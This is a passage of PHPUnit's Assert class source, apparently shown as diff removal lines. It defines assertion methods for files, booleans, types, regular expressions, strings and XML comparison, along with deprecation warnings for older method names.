Asserts that a file does not exist. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileDoesNotExist(string $filename, string $message = ''): void - { - static::assertThat($filename, new LogicalNot(new FileExists), $message); - } - - /** - * Asserts that a file does not exist. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4077 - */ - public static function assertFileNotExists(string $filename, string $message = ''): void - { - self::createWarning('assertFileNotExists() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertFileDoesNotExist() instead.'); - - static::assertThat($filename, new LogicalNot(new FileExists), $message); - } - - /** - * Asserts that a file exists and is readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileIsReadable(string $file, string $message = ''): void - { - self::assertFileExists($file, $message); - self::assertIsReadable($file, $message); - } - - /** - * Asserts that a file exists and is not readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileIsNotReadable(string $file, string $message = ''): void - { - self::assertFileExists($file, $message); - self::assertIsNotReadable($file, $message); - } - - /** - * Asserts that a file exists and is not readable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4080 - */ - public static function assertFileNotIsReadable(string $file, string $message = ''): void - { - self::createWarning('assertFileNotIsReadable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertFileIsNotReadable() instead.'); - - self::assertFileExists($file, $message); - self::assertIsNotReadable($file, $message); - } - - /** - * Asserts that a file exists and is writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileIsWritable(string $file, string $message = ''): void - { - self::assertFileExists($file, $message); - self::assertIsWritable($file, $message); - } - - /** - * Asserts that a file exists and is not writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFileIsNotWritable(string $file, string $message = ''): void - { - self::assertFileExists($file, $message); - self::assertIsNotWritable($file, $message); - } - - /** - * Asserts that a file exists and is not writable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4083 - */ - public static function assertFileNotIsWritable(string $file, string $message = ''): void - { - self::createWarning('assertFileNotIsWritable() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertFileIsNotWritable() instead.'); - - self::assertFileExists($file, $message); - self::assertIsNotWritable($file, $message); - } - - /** - * Asserts that a condition is true. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert true $condition - */ - public static function assertTrue($condition, string $message = ''): void - { - static::assertThat($condition, static::isTrue(), $message); - } - - /** - * Asserts that a condition is not true. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !true $condition - */ - public static function assertNotTrue($condition, string $message = ''): void - { - static::assertThat($condition, static::logicalNot(static::isTrue()), $message); - } - - /** - * Asserts that a condition is false. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert false $condition - */ - public static function assertFalse($condition, string $message = ''): void - { - static::assertThat($condition, static::isFalse(), $message); - } - - /** - * Asserts that a condition is not false. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !false $condition - */ - public static function assertNotFalse($condition, string $message = ''): void - { - static::assertThat($condition, static::logicalNot(static::isFalse()), $message); - } - - /** - * Asserts that a variable is null. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert null $actual - */ - public static function assertNull($actual, string $message = ''): void - { - static::assertThat($actual, static::isNull(), $message); - } - - /** - * Asserts that a variable is not null. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !null $actual - */ - public static function assertNotNull($actual, string $message = ''): void - { - static::assertThat($actual, static::logicalNot(static::isNull()), $message); - } - - /** - * Asserts that a variable is finite. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertFinite($actual, string $message = ''): void - { - static::assertThat($actual, static::isFinite(), $message); - } - - /** - * Asserts that a variable is infinite. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertInfinite($actual, string $message = ''): void - { - static::assertThat($actual, static::isInfinite(), $message); - } - - /** - * Asserts that a variable is nan. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertNan($actual, string $message = ''): void - { - static::assertThat($actual, static::isNan(), $message); - } - - /** - * Asserts that a class has a specified attribute. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function assertClassHasAttribute(string $attributeName, string $className, string $message = ''): void - { - self::createWarning('assertClassHasAttribute() is deprecated and will be removed in PHPUnit 10.'); - - if (!self::isValidClassAttributeName($attributeName)) { - throw InvalidArgumentException::create(1, 'valid attribute name'); - } - - if (!class_exists($className)) { - throw InvalidArgumentException::create(2, 'class name'); - } - - static::assertThat($className, new ClassHasAttribute($attributeName), $message); - } - - /** - * Asserts that a class does not have a specified attribute. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function assertClassNotHasAttribute(string $attributeName, string $className, string $message = ''): void - { - self::createWarning('assertClassNotHasAttribute() is deprecated and will be removed in PHPUnit 10.'); - - if (!self::isValidClassAttributeName($attributeName)) { - throw InvalidArgumentException::create(1, 'valid attribute name'); - } - - if (!class_exists($className)) { - throw InvalidArgumentException::create(2, 'class name'); - } - - static::assertThat( - $className, - new LogicalNot( - new ClassHasAttribute($attributeName), - ), - $message, - ); - } - - /** - * Asserts that a class has a specified static attribute. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function assertClassHasStaticAttribute(string $attributeName, string $className, string $message = ''): void - { - self::createWarning('assertClassHasStaticAttribute() is deprecated and will be removed in PHPUnit 10.'); - - if (!self::isValidClassAttributeName($attributeName)) { - throw InvalidArgumentException::create(1, 'valid attribute name'); - } - - if (!class_exists($className)) { - throw InvalidArgumentException::create(2, 'class name'); - } - - static::assertThat( - $className, - new ClassHasStaticAttribute($attributeName), - $message, - ); - } - - /** - * Asserts that a class does not have a specified static attribute. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function assertClassNotHasStaticAttribute(string $attributeName, string $className, string $message = ''): void - { - self::createWarning('assertClassNotHasStaticAttribute() is deprecated and will be removed in PHPUnit 10.'); - - if (!self::isValidClassAttributeName($attributeName)) { - throw InvalidArgumentException::create(1, 'valid attribute name'); - } - - if (!class_exists($className)) { - throw InvalidArgumentException::create(2, 'class name'); - } - - static::assertThat( - $className, - new LogicalNot( - new ClassHasStaticAttribute($attributeName), - ), - $message, - ); - } - - /** - * Asserts that an object has a specified attribute. - * - * @param object $object - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function assertObjectHasAttribute(string $attributeName, $object, string $message = ''): void - { - self::createWarning('assertObjectHasAttribute() is deprecated and will be removed in PHPUnit 10. Refactor your test to use assertObjectHasProperty() instead.'); - - if (!self::isValidObjectAttributeName($attributeName)) { - throw InvalidArgumentException::create(1, 'valid attribute name'); - } - - if (!is_object($object)) { - throw InvalidArgumentException::create(2, 'object'); - } - - static::assertThat( - $object, - new ObjectHasAttribute($attributeName), - $message, - ); - } - - /** - * Asserts that an object does not have a specified attribute. - * - * @param object $object - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4601 - */ - public static function assertObjectNotHasAttribute(string $attributeName, $object, string $message = ''): void - { - self::createWarning('assertObjectNotHasAttribute() is deprecated and will be removed in PHPUnit 10. Refactor your test to use assertObjectNotHasProperty() instead.'); - - if (!self::isValidObjectAttributeName($attributeName)) { - throw InvalidArgumentException::create(1, 'valid attribute name'); - } - - if (!is_object($object)) { - throw InvalidArgumentException::create(2, 'object'); - } - - static::assertThat( - $object, - new LogicalNot( - new ObjectHasAttribute($attributeName), - ), - $message, - ); - } - - /** - * Asserts that an object has a specified property. - * - * @throws ExpectationFailedException - */ - final public static function assertObjectHasProperty(string $propertyName, object $object, string $message = ''): void - { - static::assertThat( - $object, - new ObjectHasProperty($propertyName), - $message, - ); - } - - /** - * Asserts that an object does not have a specified property. - * - * @throws ExpectationFailedException - */ - final public static function assertObjectNotHasProperty(string $propertyName, object $object, string $message = ''): void - { - static::assertThat( - $object, - new LogicalNot( - new ObjectHasProperty($propertyName), - ), - $message, - ); - } - - /** - * Asserts that two variables have the same type and value. - * Used on objects, it asserts that two variables reference - * the same object. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-template ExpectedType - * - * @psalm-param ExpectedType $expected - * - * @psalm-assert =ExpectedType $actual - */ - public static function assertSame($expected, $actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsIdentical($expected), - $message, - ); - } - - /** - * Asserts that two variables do not have the same type and value. - * Used on objects, it asserts that two variables do not reference - * the same object. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertNotSame($expected, $actual, string $message = ''): void - { - if (is_bool($expected) && is_bool($actual)) { - static::assertNotEquals($expected, $actual, $message); - } - - static::assertThat( - $actual, - new LogicalNot( - new IsIdentical($expected), - ), - $message, - ); - } - - /** - * Asserts that a variable is of a given type. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @psalm-template ExpectedType of object - * - * @psalm-param class-string $expected - * - * @psalm-assert =ExpectedType $actual - */ - public static function assertInstanceOf(string $expected, $actual, string $message = ''): void - { - if (!class_exists($expected) && !interface_exists($expected)) { - throw InvalidArgumentException::create(1, 'class or interface name'); - } - - static::assertThat( - $actual, - new IsInstanceOf($expected), - $message, - ); - } - - /** - * Asserts that a variable is not of a given type. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - * - * @psalm-template ExpectedType of object - * - * @psalm-param class-string $expected - * - * @psalm-assert !ExpectedType $actual - */ - public static function assertNotInstanceOf(string $expected, $actual, string $message = ''): void - { - if (!class_exists($expected) && !interface_exists($expected)) { - throw InvalidArgumentException::create(1, 'class or interface name'); - } - - static::assertThat( - $actual, - new LogicalNot( - new IsInstanceOf($expected), - ), - $message, - ); - } - - /** - * Asserts that a variable is of type array. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert array $actual - */ - public static function assertIsArray($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_ARRAY), - $message, - ); - } - - /** - * Asserts that a variable is of type bool. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert bool $actual - */ - public static function assertIsBool($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_BOOL), - $message, - ); - } - - /** - * Asserts that a variable is of type float. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert float $actual - */ - public static function assertIsFloat($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_FLOAT), - $message, - ); - } - - /** - * Asserts that a variable is of type int. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert int $actual - */ - public static function assertIsInt($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_INT), - $message, - ); - } - - /** - * Asserts that a variable is of type numeric. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert numeric $actual - */ - public static function assertIsNumeric($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_NUMERIC), - $message, - ); - } - - /** - * Asserts that a variable is of type object. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert object $actual - */ - public static function assertIsObject($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_OBJECT), - $message, - ); - } - - /** - * Asserts that a variable is of type resource. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert resource $actual - */ - public static function assertIsResource($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_RESOURCE), - $message, - ); - } - - /** - * Asserts that a variable is of type resource and is closed. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert resource $actual - */ - public static function assertIsClosedResource($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_CLOSED_RESOURCE), - $message, - ); - } - - /** - * Asserts that a variable is of type string. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert string $actual - */ - public static function assertIsString($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_STRING), - $message, - ); - } - - /** - * Asserts that a variable is of type scalar. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert scalar $actual - */ - public static function assertIsScalar($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_SCALAR), - $message, - ); - } - - /** - * Asserts that a variable is of type callable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert callable $actual - */ - public static function assertIsCallable($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_CALLABLE), - $message, - ); - } - - /** - * Asserts that a variable is of type iterable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert iterable $actual - */ - public static function assertIsIterable($actual, string $message = ''): void - { - static::assertThat( - $actual, - new IsType(IsType::TYPE_ITERABLE), - $message, - ); - } - - /** - * Asserts that a variable is not of type array. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !array $actual - */ - public static function assertIsNotArray($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_ARRAY)), - $message, - ); - } - - /** - * Asserts that a variable is not of type bool. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !bool $actual - */ - public static function assertIsNotBool($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_BOOL)), - $message, - ); - } - - /** - * Asserts that a variable is not of type float. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !float $actual - */ - public static function assertIsNotFloat($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_FLOAT)), - $message, - ); - } - - /** - * Asserts that a variable is not of type int. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !int $actual - */ - public static function assertIsNotInt($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_INT)), - $message, - ); - } - - /** - * Asserts that a variable is not of type numeric. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !numeric $actual - */ - public static function assertIsNotNumeric($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_NUMERIC)), - $message, - ); - } - - /** - * Asserts that a variable is not of type object. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !object $actual - */ - public static function assertIsNotObject($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_OBJECT)), - $message, - ); - } - - /** - * Asserts that a variable is not of type resource. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !resource $actual - */ - public static function assertIsNotResource($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_RESOURCE)), - $message, - ); - } - - /** - * Asserts that a variable is not of type resource. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !resource $actual - */ - public static function assertIsNotClosedResource($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_CLOSED_RESOURCE)), - $message, - ); - } - - /** - * Asserts that a variable is not of type string. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !string $actual - */ - public static function assertIsNotString($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_STRING)), - $message, - ); - } - - /** - * Asserts that a variable is not of type scalar. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !scalar $actual - */ - public static function assertIsNotScalar($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_SCALAR)), - $message, - ); - } - - /** - * Asserts that a variable is not of type callable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !callable $actual - */ - public static function assertIsNotCallable($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_CALLABLE)), - $message, - ); - } - - /** - * Asserts that a variable is not of type iterable. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @psalm-assert !iterable $actual - */ - public static function assertIsNotIterable($actual, string $message = ''): void - { - static::assertThat( - $actual, - new LogicalNot(new IsType(IsType::TYPE_ITERABLE)), - $message, - ); - } - - /** - * Asserts that a string matches a given regular expression. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertMatchesRegularExpression(string $pattern, string $string, string $message = ''): void - { - static::assertThat($string, new RegularExpression($pattern), $message); - } - - /** - * Asserts that a string matches a given regular expression. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4086 - */ - public static function assertRegExp(string $pattern, string $string, string $message = ''): void - { - self::createWarning('assertRegExp() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertMatchesRegularExpression() instead.'); - - static::assertThat($string, new RegularExpression($pattern), $message); - } - - /** - * Asserts that a string does not match a given regular expression. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertDoesNotMatchRegularExpression(string $pattern, string $string, string $message = ''): void - { - static::assertThat( - $string, - new LogicalNot( - new RegularExpression($pattern), - ), - $message, - ); - } - - /** - * Asserts that a string does not match a given regular expression. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * - * @codeCoverageIgnore - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4089 - */ - public static function assertNotRegExp(string $pattern, string $string, string $message = ''): void - { - self::createWarning('assertNotRegExp() is deprecated and will be removed in PHPUnit 10. Refactor your code to use assertDoesNotMatchRegularExpression() instead.'); - - static::assertThat( - $string, - new LogicalNot( - new RegularExpression($pattern), - ), - $message, - ); - } - - /** - * Assert that the size of two arrays (or `Countable` or `Traversable` objects) - * is the same. - * - * @param Countable|iterable $expected - * @param Countable|iterable $actual - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertSameSize($expected, $actual, string $message = ''): void - { - if ($expected instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $expected parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - if ($actual instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $actual parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - if (!$expected instanceof Countable && !is_iterable($expected)) { - throw InvalidArgumentException::create(1, 'countable or iterable'); - } - - if (!$actual instanceof Countable && !is_iterable($actual)) { - throw InvalidArgumentException::create(2, 'countable or iterable'); - } - - static::assertThat( - $actual, - new SameSize($expected), - $message, - ); - } - - /** - * Assert that the size of two arrays (or `Countable` or `Traversable` objects) - * is not the same. - * - * @param Countable|iterable $expected - * @param Countable|iterable $actual - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertNotSameSize($expected, $actual, string $message = ''): void - { - if ($expected instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $expected parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - if ($actual instanceof Generator) { - self::createWarning('Passing an argument of type Generator for the $actual parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - } - - if (!$expected instanceof Countable && !is_iterable($expected)) { - throw InvalidArgumentException::create(1, 'countable or iterable'); - } - - if (!$actual instanceof Countable && !is_iterable($actual)) { - throw InvalidArgumentException::create(2, 'countable or iterable'); - } - - static::assertThat( - $actual, - new LogicalNot( - new SameSize($expected), - ), - $message, - ); - } - - /** - * Asserts that a string matches a given format string. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringMatchesFormat(string $format, string $string, string $message = ''): void - { - static::assertThat($string, new StringMatchesFormatDescription($format), $message); - } - - /** - * Asserts that a string does not match a given format string. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringNotMatchesFormat(string $format, string $string, string $message = ''): void - { - static::assertThat( - $string, - new LogicalNot( - new StringMatchesFormatDescription($format), - ), - $message, - ); - } - - /** - * Asserts that a string matches a given format file. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringMatchesFormatFile(string $formatFile, string $string, string $message = ''): void - { - static::assertFileExists($formatFile, $message); - - static::assertThat( - $string, - new StringMatchesFormatDescription( - file_get_contents($formatFile), - ), - $message, - ); - } - - /** - * Asserts that a string does not match a given format string. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringNotMatchesFormatFile(string $formatFile, string $string, string $message = ''): void - { - static::assertFileExists($formatFile, $message); - - static::assertThat( - $string, - new LogicalNot( - new StringMatchesFormatDescription( - file_get_contents($formatFile), - ), - ), - $message, - ); - } - - /** - * Asserts that a string starts with a given prefix. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringStartsWith(string $prefix, string $string, string $message = ''): void - { - static::assertThat($string, new StringStartsWith($prefix), $message); - } - - /** - * Asserts that a string starts not with a given prefix. - * - * @param string $prefix - * @param string $string - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringStartsNotWith($prefix, $string, string $message = ''): void - { - static::assertThat( - $string, - new LogicalNot( - new StringStartsWith($prefix), - ), - $message, - ); - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringContainsString(string $needle, string $haystack, string $message = ''): void - { - $constraint = new StringContains($needle, false); - - static::assertThat($haystack, $constraint, $message); - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void - { - $constraint = new StringContains($needle, true); - - static::assertThat($haystack, $constraint, $message); - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringNotContainsString(string $needle, string $haystack, string $message = ''): void - { - $constraint = new LogicalNot(new StringContains($needle)); - - static::assertThat($haystack, $constraint, $message); - } - - /** - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringNotContainsStringIgnoringCase(string $needle, string $haystack, string $message = ''): void - { - $constraint = new LogicalNot(new StringContains($needle, true)); - - static::assertThat($haystack, $constraint, $message); - } - - /** - * Asserts that a string ends with a given suffix. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringEndsWith(string $suffix, string $string, string $message = ''): void - { - static::assertThat($string, new StringEndsWith($suffix), $message); - } - - /** - * Asserts that a string ends not with a given suffix. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertStringEndsNotWith(string $suffix, string $string, string $message = ''): void - { - static::assertThat( - $string, - new LogicalNot( - new StringEndsWith($suffix), - ), - $message, - ); - } - - /** - * Asserts that two XML files are equal. - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws Exception - * @throws ExpectationFailedException - */ - public static function assertXmlFileEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void - { - $expected = (new XmlLoader)->loadFile($expectedFile); - $actual = (new XmlLoader)->loadFile($actualFile); - - static::assertEquals($expected, $actual, $message); - } - - /** - * Asserts that two XML files are not equal. - * - * @throws \PHPUnit\Util\Exception - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - */ - public static function assertXmlFileNotEqualsXmlFile(string $expectedFile, string $actualFile, string $message = ''): void - { - $expected = (new XmlLoader)->loadFile($expectedFile); - $actual = (new XmlLoader)->loadFile($actualFile); - - static::assertNotEquals($expected, $actual, $message); - } - - /** - * Asserts that two XML documents are equal. - * - * @param DOMDocument|string $actualXml - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * @throws Xml\Exception - */ - public static function assertXmlStringEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void - { - if (!is_string($actualXml)) { - self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - - $actual = $actualXml; - } else { - $actual = (new XmlLoader)->load($actualXml); - } - - $expected = (new XmlLoader)->loadFile($expectedFile); - - static::assertEquals($expected, $actual, $message); - } - - /** - * Asserts that two XML documents are not equal. - * - * @param DOMDocument|string $actualXml - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * @throws Xml\Exception - */ - public static function assertXmlStringNotEqualsXmlFile(string $expectedFile, $actualXml, string $message = ''): void - { - if (!is_string($actualXml)) { - self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - - $actual = $actualXml; - } else { - $actual = (new XmlLoader)->load($actualXml); - } - - $expected = (new XmlLoader)->loadFile($expectedFile); - - static::assertNotEquals($expected, $actual, $message); - } - - /** - * Asserts that two XML documents are equal. - * - * @param DOMDocument|string $expectedXml - * @param DOMDocument|string $actualXml - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * @throws Xml\Exception - */ - public static function assertXmlStringEqualsXmlString($expectedXml, $actualXml, string $message = ''): void - { - if (!is_string($expectedXml)) { - self::createWarning('Passing an argument of type DOMDocument for the $expectedXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - - $expected = $expectedXml; - } else { - $expected = (new XmlLoader)->load($expectedXml); - } - - if (!is_string($actualXml)) { - self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - - $actual = $actualXml; - } else { - $actual = (new XmlLoader)->load($actualXml); - } - - static::assertEquals($expected, $actual, $message); - } - - /** - * Asserts that two XML documents are not equal. - * - * @param DOMDocument|string $expectedXml - * @param DOMDocument|string $actualXml - * - * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException - * @throws ExpectationFailedException - * @throws Xml\Exception - */ - public static function assertXmlStringNotEqualsXmlString($expectedXml, $actualXml, string $message = ''): void - { - if (!is_string($expectedXml)) { - self::createWarning('Passing an argument of type DOMDocument for the $expectedXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - - $expected = $expectedXml; - } else { - $expected = (new XmlLoader)->load($expectedXml); - } - - if (!is_string($actualXml)) { - self::createWarning('Passing an argument of type DOMDocument for the $actualXml parameter is deprecated. Support for this will be removed in PHPUnit 10.'); - - $actual = $actualXml; - } else { - 